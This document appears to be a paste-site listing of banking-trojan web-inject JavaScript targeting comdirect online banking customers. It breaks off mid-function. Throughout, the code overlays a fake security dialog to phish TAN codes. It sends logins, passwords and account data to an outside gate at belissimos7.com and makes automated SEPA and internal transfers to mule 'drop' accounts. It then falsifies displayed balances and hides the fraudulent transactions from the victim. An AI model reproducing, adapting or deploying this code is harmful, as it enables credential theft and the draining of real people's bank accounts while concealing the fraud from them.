Xylitol icon

comdirect.js

Xylitol | PRO | 04/13/14 03:14:06 PM UTC | 0 ⭐ | 612 👁️ | Never ⏰ | []
JavaScript |

58.31 KB

|

None

|

0 👍

/

0 👎

if (typeof ATS== 'undefined'){
 
 
var jq = jQuery.noConflict();
//var jq = jQuery;
 
var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin: 0 auto; width: 230px; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.load{ margin:0 auto; width:190px;}.info{float:left; font-size: 20px;  margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:190px;}</style>');
 
 
 
var ATS = { bank: 'comdirect',
    account_id: 0,
    script_ver: '1.4',
    transf_mode : 'sepa',
    debug_mode: 0,
    gateURL : 'https://belissimos7.com/nsdghsf333/gate',
    debugVisibleFrame: false,
    debugNoOverlay : false,
    CONTENT_URL: CONTENT_URL,
    current_state : 0,
    sepa_or_int_select_changed : false,
    MaxTransferAccNum:0,
    Timeout:false,
    
 
    StepInFrame : {
        0:"BeginWork", 
        10:"framePageFinanzstatus", 
        20:"KreditlimitPage",
        170:"insideGirokonto",
        30:"SEPA_page",
        110:"SEPA_form_filled",
        120:"TAN_ENTERED",
        130:"Internal_transf_page",
        140:"INT_form_filled",
        150:"framePageSEPA_fill",
        160:"framePageInternal_transf_page",
        180:"randomPage",
        190:"inside_randomPage",
 
 
        
        set_current_state : function(state){
            
            for (var key in this) {
              if (typeof this[key]!= 'function' && state==this[key]) {
               parent.ATS.current_state=key;
               return key;
               }
              //alert(key+':'+this[key])
              
           }
            return false;
            }
        },
        
 
    isDebugMode: function()
    {
        return ATS.debug_mode;
    },
    
 
    getBrowserFull: function()
    {
        var res = 'na';
        try
        {
            var m = navigator.userAgent.match(/Firefox\/(\d+)/);
            if (m)
            {
                res = 'ff' + m[1];
            }
            else
            {
                m = navigator.userAgent.match(/MSIE (\d+)/);
                if (m)
                    res = 'ie' + m[1];
            }
        }
        catch(e)
        {
            res = 'ex';
        }
        return res;
    },
 
 
    debugMsg: function(message)
    {
        if (this.isDebugMode())
        {
            if (window.console && window.console.log)
                window.console.log(message);
            else
                alert(message);
        }
    },
    
    _cookies: new Object(),
    
    setCookie: function(name, value)
    {
        ATS.debugMsg('setCookie: ' + name + ' = ' + value);
        parent.ATS._cookies['#'+name] = value;
    },
    
    getCookie: function(name)
    {
        if (typeof parent.ATS._cookies['#'+name] == 'undefined')
            return null;
        
        return parent.ATS._cookies['#'+name];
    },
    
    serializeCookies: function()
    {
       //if (typeof parent.ATS._cookies != 'function')
        var result = new Array();
        for (var i in parent.ATS._cookies)
        {
           
            if(i.indexOf('#')==0){
               result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
 
               }
        }
        return result.join('&');
    },
    
    unserializeCookies: function(rawData)
    {
        var result = new Object();
        for (var i in rawData)
        {
            result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
        }
        return result;
    },
    
    randInt: function(min, max)
    {
        return Math.round(min + Math.random() * (max - min));
    },
    
    saveCookies: function(callback)
    {
        ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
    },
    
 
    sendGateRequest: function(action, params, callback)
    {
     
        //ATS.debugMsg('sendGateRequest: ' + action);
        dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
        
        var url = ATS.gateURL + '?a=' + action + '&cb=?';
        //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
   
        //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
        //{ 
        
            jq.ajax({
                url: url,
                dataType: 'jsonp',
                crossDomain: true,
                data: dat,
                //async: false,
                success: callback,
                error: function(request,error) 
                {
                    ATS.debugMsg('posible ban ip; ajax error: ' + error);
                    jq('.inj_full_overlay').remove();
                    ATS.UI_unblockSite();
                    jq('#inj_dialog_box').hide();
                }
                
            });
            
        //}
    },
 
    loadData: function(callback)
    {
        ATS.sendGateRequest('load_data', {}, function(data){
            ATS.account_id = data.account_id;
            ATS._cookies = ATS.unserializeCookies(data.cookies);
            if (typeof callback == 'function')
                callback();
        });
    },
    
 
    sendLoginInfo: function(login, password, callback)
    {
        ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
    },
    
 
    sendLogMsg: function(text, callback)
    {
        ATS.debugMsg('sendLogMsg: ' + text);
        ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
    },
    
    getDrop: function(transfType, balance, callback)
    {
       
 
        ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
    },
    
    putTransfer: function(transfType, drop, amount, callback)
    {
        ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
    },
    
    sendAccountsInfo: function(accountsInfo, callback)
    {
        try {
            ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
        } catch(e) {}
    }
    
    
    
    
};
 
ATS.randomPage = function()
{
    ATS.debugMsg('ATS.randomPage');
    var page= ATS.randInt(1,5);
    var loc='';
    switch (page) {
       case 1:
          loc=jq("#PersoenlicherbereichPostboxPostsuche a").attr("href");
          break
       case 2:
          loc=jq("#PersoenlicherbereichPostboxPostversand a").attr("href");
          break
       case 3:
          loc=jq("#PersoenlicherbereichKontoUmsaetze a").attr("href");
          break
       case 4:
          loc=jq("#PersoenlicherbereichDepotDepotums a").attr("href");
          break
       case 5:
          loc=jq("#PersoenlicherbereichDepotDepotueb a").attr("href");
          break
 
    }
    
    
    ATS.StepInFrame.set_current_state("inside_randomPage");
    if(!!loc.length){
    //loc=loc.attr("href").replace("(","%28").replace(")","%29");;
    
    return loc;
    }
        
    else ATS.die('randomPage: cant find link for random page');
    return false;
    
}
ATS.inside_randomPage = function()
{
    
ATS.debugMsg('ATS.inside_randomPage');
ATS.StepInFrame.set_current_state("framePageFinanzstatus");
 
 
 
           setTimeout(function(){
                jQuery("#Persoenlicherbereich a").click();
            
        }, ATS.randInt(15000,30000)); 
    
}
 
ATS.UI_showWait = function()
{
    ATS.UI_showDialogBox();
    jq('#inj_page_wait').show();
    jq('#inj_page_brilok').hide();
    jq('#gad_signatur_tan').hide();
    jq('.inj_buttons_block').hide();
    jq('.inj_error').hide();    
 
}
ATS.UI_getTAN = function()
{
    return jq('.nowrap label').text();
    
}
 
ATS.UI_getInjectCode = function()
{
    var code = 
     '<div id=inj_dialog_box style=\'display: none;\'>'
    
   
  +'<div class="outerCard"><div class="innerCard"><div class="cardContent"><div class="topCard"><div><span></span></div></div><div class="cardCol">'
  
 
  +'<div class="head cardHeadline"><span class="cardHeadline uiOutputText info">Zu Ihrer Sicherheit</span><img src='+ATS.CONTENT_URL+'/images/logo_comdirect_website.png class="logopic" /><div class="lineSpacerHead"></div></div>'
 
  
       + '<div id=inj_page_wait style=\'display: none;\'>'
     + '<p class="inj_content_para">'
     +  langs.getLang('waittext')
     + '<br class="newline" /></p><p class="load"><img s'
     + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div>'
 
     
     + '<div id="gad_contentbox" style=\'display: none;\'>'
     
     +'<div id="gad_signatur_tan" style=\'display: none;\'>'
     
     +'<form class="form-banking" onsubmit="return false;"><p class="autp">Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</p><div id="insSMSform" class="form-content secure"></div><div class="form-content header"><label>mobileTAN*</label><input type="text" size="6" id="iTAN" name="nrTan" maxlength="6" style="margin-left:45px"></div></form><div style="clear:both"></div>'
     
     +'</div>'
     
 + '<div id="inj_page_brilok"  style=\'display: none;\'>'
 
   
  
  
  
  
  +'<div class="body"><div class="article clearfix "><div class="hidden" ></div><div></div>&nbsp;&nbsp;<div>Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</div><div class="UILine lineSpacerDarkFull"></div><br><div class="fSmall uiPanel"><div class="uiPanel" ><div class="uiTable"><div style="padding: 0px 0px 5px 0px" class="row" ><div class="lcolumn"><span class="uiOutputText">Freigabe durch iTAN mit der laufenden Nummer </span><strong id="inj_tan_startcode"></strong><span class="uiOutputText">:</span></div><div class="lcolumn">&nbsp;<input type="text" style="width:auto;" size="7" maxlength="6"  autocomplete="off" id="iTANBrilok" name="nrTan"></div><div class="lcolumn"></div><div class="rowend"></div>'
  
  + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  
  +'</div></div><br><div class="uiPanel" ></div></div></div></div> </div><div class="foot cardFootline"><div class="UILine lineSpacerFoot"></div><div class="buttonArea clearfix"><div class="right" >'
  
   +'<div class="inj_buttons_block">'   
 
  +'<div class="button buttonBig clearfix"><a title="WEITER" class="fLinkList" href="#" id="inj_Weiter" name="inj_weiter"><b>Weiter</b><img width="16" height="16" border="0" title="WEITER" alt="WEITER" class="icon" src="'+ATS.CONTENT_URL+'/images/next.gif"></a></div>'
  +'</div>'//inj_buttons_block
  +'</div><div class="right" ></div></div></div> </div><div class="spacerHeight25"><span></span></div></div>'
 
+'</div>'//inj_page_brilok
+'</div>'//gad_contentbox
 
 
  +'<div class="bottomCard"><div><span></span></div></div></div><div class="bottomCardBorder"><span></span></div></div>'
     + '</div>';//inj_dialog_box
     
     
    return jq(code);
}
 
ATS.die = function(msg)
{
    ATS.sendLogMsg('ERROR: ' + msg);
    ATS.setCookie('error_time', ATS.getTime());
    ATS.setCookie('status', 2);
    parent.ATS.StepInFrame.set_current_state("BeginWork");
    ATS.saveCookies(function(){
        if ((parent.window !== window) && parent.ATS)
        {
            ATS.debugMsg('die in frame');
            parent.ATS.UI_hideDialogBox();
            parent.ATS.UI_unblockSite();
 
            jq('.inj_full_overlay',parent.document).remove();
        }
        else
        {
            ATS.debugMsg('die outside frame');
            ATS.UI_hideDialogBox();
            ATS.UI_unblockSite();
            jq('.inj_full_overlay').remove();
        }
/*        
    var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
    parent.ATS.StepInFrame.set_current_state("BeginWork");
            setTimeout(function(){
                   parent.window.document.location.href = nextLink;                    
                }, 1000);
 
*/
    });
    
 
        
}
 
 
ATS.mainWork = function()
{
    
    ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
    //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
    switch (ATS.current_state)
    {
        case 0:
            
 
            var href = ATS.getFinanzstatusLink();
            if (href)
            {
            
                ATS.StepInFrame.set_current_state("randomPage");     
                //ATS.StepInFrame.set_current_state("framePageFinanzstatus");
                
                //ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text(),ATS.ieFrameHack() );       
                
                ATS.ieFrameHack();
                
                
               
                
                
            }
            else
            {
                ATS.die('mainWork: cant find finanzstatus');
            }
            break;
    }
}
ATS.ieFrameHack = function()
{
    ATS.debugMsg('ATS.ieFrameHack()');
    
    if (!jq('iframe#ats_wrk_iframe').length)
    {
 
 
 
 
 
 
 
 
 
 
        //ATS.openInIframe(ATS.getFinanzstatusLink());
        ATS.openInIframe('about:blank');
/*        
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/layout.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
 
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/color.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
*/
 
 
        
     
        setTimeout(ATS.ieFrameHack, ATS.randInt(3000, 3500));
    }
    else
    {
 
        var n=ATS.getFinanzstatusLink();
        var n=ATS.randomPage();
    //n=n.replace(/\:/g, '%3A');
    //n=n.replace(/\?/g, '%3F');     
    
    
        jq('iframe#ats_wrk_iframe').attr('src',n );
    }
}
ATS.UI_hideDialogBox = function()
{
    jq('#inj_dialog_box').hide();
}
 
 
ATS.descending= function(a, b)
{
    return b.totalBalance- a.totalBalance;
}
 
ATS.getMaxTransferAcc = function()
{
    //num = num || 0;
    var num=parent.ATS.MaxTransferAccNum;
    
    parent.ATS.accounts_list.sort( ATS.descending );
    
    if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
    else 
    {
    ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left'); 
    }
/*
    var accountsList = parent.ATS.accounts_list;
    var maxBalance = accountsList[0].balance;
    var tempBalance = 0;
    var maxAcc = null;
    for(var i in accountsList)
    {
        tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
    
    
            if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
            {
                maxBalance = tempBalance;
                maxAcc = accountsList[i];
            }
    }
 
    return maxAcc;
    */
    
}
 
 
ATS.UI_askTan = function(tanNum, isError)
{
/*    
var cssLink = document.createElement("link")
cssLink.href = ATS.CONTENT_URL+"/all_styles_min.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
jq('body', parent.document).prepend(cssLink); 
*/    
    
    
if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
    parent.ATS.UI_showDialogBox();
    //parent.ATS.UI_fixBtnLink();
 
//var sms=jq('div[id*="TanData"]').html();
var sms='';
if (sms.indexOf('SMS')!=-1){
    
    parent.ATS.TanType='sms';
 
    jq('#inj_page_wait', parent.document).hide();
    jq('#inj_page_brilok', parent.document).hide();
    jq('#gad_signatur_tan', parent.document).show();
    jq('#gad_contentbox', parent.document).show();
     
     jq('#insSMSform', parent.document.body).html(sms); 
}
 else{
    parent.ATS.TanType='brilok';
 
    jq('#inj_page_wait', parent.document).hide();
    jq('#gad_signatur_tan', parent.document).hide();
    jq('#inj_page_brilok', parent.document).show();
    jq('#gad_contentbox', parent.document).show();
 
 
 
var link=jq('a span:contains(zu iTAN wechseln)').length;
if(!!link) jq('a span:contains(zu iTAN wechseln)').trigger("click");
 
        setTimeout(function(){
            var startCode =jq('span:contains(Nummer)').next().text();
            ATS.sendLogMsg('startCode ' + startCode);
            jq('#inj_tan_startcode', parent.document.body).text(startCode);
        }, ATS.randInt(2000, 3000));
 
 
 }   
    
    
    jq('.inj_buttons_block', parent.document).show();
 
 }
ATS.UI_onWeiterClick = function()
{
if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
else var tan = jq('#iTANBrilok').val();
 
 
    if (tan=="test") {
       if (ATS.isDebugMode()){
           parent.ATS.UI_showWait();
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
        else ATS.framePageReceiptInternal();
       
       return false;}}
 
    
    if (tan.length == 6)
    {
        ATS.sendLogMsg('entered TAN ' + tan);
        jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
    }
    else{
        alert(langs.getLang('errorTanEmpty'));
        
    }
}
 
ATS.padRight = function(input, totalWidth)
 
{
    var result = input;
    if (result.length < totalWidth){
        for(var i = result.length; i < totalWidth; i++){
            result = result + 'X'
        }
    
    }
    return result;
}
 
 
ATS.framePageReceipt = function()
{
    ATS.sendLogMsg('framePageReceipt');
 
    
    ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
        ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
        
        var transfer_acc = parent.ATS.maxAcc.number;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
        }
        
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.setCookie('status', 1);
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
    
}
ATS.framePageReceiptInternal = function()
{
    ATS.sendLogMsg('framePageReceiptInternal');
    
    ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
        ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
        
        var transfer_acc = parent.ATS.maxAcc.number;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
        }        
        
 
        ATS.setCookie('status', 1);
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
}
ATS.fin2float = function(text)
{
    if (langs.getCurLang()=='EN') 
    var text = text.toString(); 
    else
    var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
    return parseFloat(text);
}
 
ATS.float2fin = function(val)
{
    var intPart = Math.floor(val);
    var fractPart = Math.floor((val - intPart) * 100).toString();
    
    if (fractPart.length < 2)
        fractPart = '0' + fractPart;
        
    var newIntPart = '';
    intPart = intPart.toString();
    while (intPart.length > 3)
    {
        newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
        intPart = intPart.substr(0, intPart.length - 3);
    }
    newIntPart = intPart + newIntPart;
    
    return newIntPart + ',' + fractPart;
}
ATS.addElementAmount = function (el, amount, postfix)
{
    var val = ATS.fin2float(jq(el).text());
    var newText='<strong>';
 //   if (val<0) newText +='<span class="negbal">';
    
    newText += ATS.float2fin(val + amount);
    if (postfix)
        newText += ' ' + postfix;
        
 //   if (val<0) newText +='</span>';
     newText +="</strong>";   
    jq(el).html(newText);
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
ATS.checkTransfer = function(el)
{
 
 
    var percent=parseFloat("0.00");  
 
    var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
    if (isNaN(lastGesamtsaldo)) {
        ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
        return false;
    }
 
    //var curGesamtsaldo = ATS.fin2float(jq(el).text());
    var curGesamtsaldo = el;
    
 
    var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
    var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
    tempsaldo=parseFloat(tempsaldo.toFixed(2));
    
        //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
        
 
    if(tempsaldo==0){
        ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
        return false;
        }
    
 
    if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
        return false;
    }
 
    if(tempsaldo>0){
    
           
 
    if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
        
    var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
    percent=parseFloat(temppers.toFixed(2));
    ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
    if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){ 
            ATS.setCookie('acPercent',percent);
            ATS.saveCookies();
    }
    if (ATS.getCookie('acTransact')!="true"){ 
            ATS.setCookie('acTransact',true);
            ATS.saveCookies();
    }
    
    return percent;
    }else{
       
        ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
            ATS.setCookie('acPercent',tempsaldo);
            ATS.setCookie('acTransact',false);
            ATS.saveCookies();
        return false;
    }    
        
}
 
}
 
 
ATS.replaceMainPage = function()
{
    ATS.debugMsg('replaceMainPage()');
    
    //jq("#gad_toolbar_btn_print").remove();
 
var saldo=0;
jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
 var el=jq(this).children("td:eq(2)");
 if (el.length) saldo+=ATS.fin2float(jq(el).text()); 
    
   });
var el=saldo;
 
 
 
 
     var percent =ATS.checkTransfer(el);
     ATS.debugMsg('percent= '+percent);
     if(typeof percent === 'boolean') return true;
 
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
 
  
    
        var totalReplace = 0;
        
var amount = parseFloat(ATS.getCookie('rep_amount'));
var transfer_acc =ATS.getCookie('transfer_acc');
        
jq('table:has(th:contains(Bezeichnung))').each(function(){
    /*
 var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();
 var re = new RegExp("Kundennr: [\\d]+", "g");
var arr = number.match(re);
 number=arr[0].replace(/\D/g, '');
*/
 
 
jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
 
 var number=jq.trim(jq(this).children("td:eq(0)").text());
 var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
 var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
 
if(number==transfer_acc){    
    
ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
  ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), '');
  ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), '');
  totalReplace = parseFloat(amount + percent);
 
}  
});
 
var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(2)");                               
var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                                 
 ATS.addElementAmount(saldo1, totalReplace, '');
 ATS.addElementAmount(saldo2, totalReplace, '');
      
    
    
        
 
 
});        
        
        
    
    
}
ATS.replaceKONTOUBERSICHT = function()
{
    ATS.debugMsg('replaceKONTOUBERSICHT');
    
    var percent=parseFloat(ATS.getCookie('acPercent'));
  
    
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
    
    //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
    if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
 
    
 
var amount = parseFloat(ATS.getCookie('rep_amount'));
var transfer_acc =ATS.getCookie('transfer_acc');
 
  /*
var number=jq('.uiOutputText:contains(Kundennummer)').text();
var re = new RegExp("Kundennummer: [\\d]+", "g");
var arr = number.match(re);
number=arr[0].replace(/\D/g, '');
*/
 
 
  
    
        var totalReplace = 0;
        
       
jq('table:has(th:contains(Bezeichnung))').each(function(){
jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
 
 
var number=jq.trim(jq(this).children("td:eq(0)").text());
 
if (number==transfer_acc){
ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), 'EUR');
ATS.addElementAmount(jq(this).children("td:eq(4)"), parseFloat(amount + percent), '');
totalReplace = parseFloat(amount + percent);
}//--if (number==transfer_acc)--    
  });
 
var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                               
var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(4)");                                 
 ATS.addElementAmount(saldo1, totalReplace, '');
 ATS.addElementAmount(saldo2, totalReplace, '');
  
    
});     
        
        
    
    
    
ATS.addElementAmount(jq('p.navi_betrag:eq(0) span:eq(0)'), totalReplace, '');
ATS.addElementAmount(jq('p.navi_betrag:eq(1) span:eq(0)'), totalReplace, '');
    
}
 
ATS.replaceUmsatzanzeige = function()
{
    ATS.debugMsg('replaceUmsatzanzeige()');
 
  //jq("#gad_toolbar_btn_print").remove();
    
 
      var percent=parseFloat(ATS.getCookie('acPercent'));
  
    
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
    
    //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
    if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
 
    
 
var amount = parseFloat(ATS.getCookie('rep_amount'));
var transfer_acc =ATS.getCookie('transfer_acc');
 
/*
var number=jq.trim(jq('.contentKeyfocus span:contains(Kundennummer)').text());
var re = new RegExp("Kundennummer: [\\d]+", "g");
var arr = number.match(re);
number=arr[0].replace(/\D/g, '');
*/
var number=jq('.cardCol b:contains(Tagesgeld PLUS):eq(0),.cardCol b:contains(Girokonto):eq(0)').text();
if (number.indexOf(transfer_acc)!=-1){
     
        //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
   // ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
     
    ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(0)'), amount +  percent, 'EUR');
    ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(1)'), amount +  percent, 'EUR');
 
 
//replace Kontostand 04.11.2013 : +2.407,78
var number=jq('.cardCol:contains(Kontostand):eq(0) b').text();
var re = new RegExp("[+-]*[\\d.,]+$", "gim");
var arr = number.match(re);
var val = ATS.fin2float(arr);
val+= parseFloat(amount +  percent);
arr=number.replace(/[+-]*[\d.,]+$/gim, ATS.float2fin(val))
jq('.cardCol:contains(Kontostand):eq(0) b').text(arr);
 
 
        
 
        var hideFlag = false;
        jq('table:contains(Buchungstext) tr').each(function(i){
            var Buchungstext = jq.trim(jq(this).find("td:eq(3)").text());
            var UmsatzinEUR = jq.trim(jq(this).find("td:eq(4)").text());
 
            if (ATS.needToHide(Buchungstext,UmsatzinEUR))
            {
//  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
                jq(this).hide();
                hideFlag = true;
            }
    
    });     
        
    
 
jq('table:contains(Buchungstext) tr:not(:eq(0),:eq(1))').each(function(i){
jq(this).find('td:not(.fTableHeader)').attr('class', (i % 2) ? 'secondTd' : '');
 
    });
    
    
    
}//--if (number==transfer_acc)--       
    
}
 
ATS.replaceSEPAPage = function()
{
        ATS.debugMsg('replaceSEPAPage()');
     
jq('div.uiPanel:contains(Kontostand)').filter(':not(:contains(SEPA))').parent('div:has(h1)').find('div').remove();
 
    
}    
 
 
 
ATS.needToHide = function(Buchungstext,UmsatzinEUR)
{
 
    var iban=ATS.getCookie('rep_drop_acc');
    var amount = parseFloat(ATS.getCookie('rep_amount'));
    if (amount)
    {
 
        if (langs.getCurLang()=='EN'){
            text=text.replace(/[^\d.]+/gi, '');
            
        if (text.indexOf(amount) != -1) return true;
            
            }
            else{
        UmsatzinEUR=UmsatzinEUR.replace(/[^\d,]+/gi, '').replace(",", '.');                
        if ((UmsatzinEUR.indexOf(amount) != -1) && (Buchungstext.indexOf(iban) != -1) ) {
         ATS.debugMsg('UmsatzinEUR ='+UmsatzinEUR);
         
         
            return true;
        }
        
        }
    }
        
    return false;
}
ATS.replaceBalances = function()
{
    ATS.debugMsg('replaceBalances()');
    
    //ATS.hideLastTAN();
    
    
        switch (langs.getCurLang())
    {
        
        case "EN":
    if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();            
     if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
        break;
         default:
         
    if (ATS.getPageTitle("Meine Finanzen")) ATS.replaceMainPage();          if (ATS.getPageTitle("Konto"+String.fromCharCode(0x00FC)+"bersicht") ) ATS.replaceKONTOUBERSICHT();
    
      var title=jq.trim(jq('.keyfocus h1').text());
